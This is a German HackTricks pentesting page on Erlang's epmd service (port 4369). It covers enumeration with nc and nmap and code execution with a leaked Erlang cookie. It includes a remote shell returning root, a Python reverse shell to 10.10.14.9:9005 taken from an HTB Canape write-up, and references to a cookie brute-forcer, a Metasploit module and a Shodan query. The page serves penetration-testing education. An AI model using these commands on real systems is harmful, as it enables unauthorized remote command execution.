{{#include ../banners/hacktricks-training.md}} # Grundlegende Informationen Der **Erlang Port Mapper Daemon (epmd)** dient als Koordinator für verteilte Erlang-Instanzen. Er ist verantwortlich für die Zuordnung von symbolischen Knotennamen zu Maschinenadressen und stellt im Wesentlichen sicher, dass jeder Knotename mit einer bestimmten Adresse verknüpft ist. Diese Rolle von **epmd** ist entscheidend für die nahtlose Interaktion und Kommunikation zwischen verschiedenen Erlang-Knoten in einem Netzwerk. **Standardport**: 4369 ``` PORT STATE SERVICE VERSION 4369/tcp open epmd Erlang Port Mapper Daemon ``` Dies wird standardmäßig bei RabbitMQ- und CouchDB-Installationen verwendet. # Aufzählung ## Manuell ```bash echo -n -e "\x00\x01\x6e" | nc -vn 4369 #Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb apt-get install erlang erl #Once Erlang is installed this will promp an erlang terminal 1> net_adm:names(''). #This will return the listen addresses ``` ## Automatisch ```bash nmap -sV -Pn -n -T4 -p 4369 --script epmd-info PORT STATE SERVICE VERSION 4369/tcp open epmd Erlang Port Mapper Daemon | epmd-info: | epmd_port: 4369 | nodes: | bigcouch: 11502 | freeswitch: 8031 | ecallmgr: 11501 | kazoo_apps: 11500 |_ kazoo-rabbitmq: 25672 ``` # Erlang Cookie RCE ## Remote Connection Wenn Sie **das Authentifizierungscookie** **leaken**, können Sie Code auf dem Host ausführen. Normalerweise befindet sich dieses Cookie in `~/.erlang.cookie` und wird von Erlang beim ersten Start generiert. Wenn es nicht manuell geändert oder gesetzt wurde, ist es eine zufällige Zeichenfolge \[A:Z] mit einer Länge von 20 Zeichen. ```bash greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10] Eshell V8.1 (abort with ^G) At last, we can start an erlang shell on the remote system. (test@target.fqdn)1>os:cmd("id"). "uid=0(root) gid=0(root) groups=0(root)\n" ``` Mehr Informationen unter [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\ Der Autor teilt auch ein Programm, um das Cookie zu bruteforcen: {{#file}} epmd_bf-0.1.tar.bz2 {{#endfile}} ## Lokale Verbindung In diesem Fall werden wir CouchDB ausnutzen, um die Berechtigungen lokal zu eskalieren: ```bash HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE (anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]). "homer\n" (anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]). ``` Beispiel entnommen von [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\ Sie können die **Canape HTB-Maschine verwenden, um** **zu üben**, wie man diese **Schwachstelle ausnutzt**. ## Metasploit ```bash #Metasploit can also exploit this if you know the cookie msf5> use exploit/multi/misc/erlang_cookie_rce ``` # Shodan - `port:4369 "am Port"` {{#include ../banners/hacktricks-training.md}}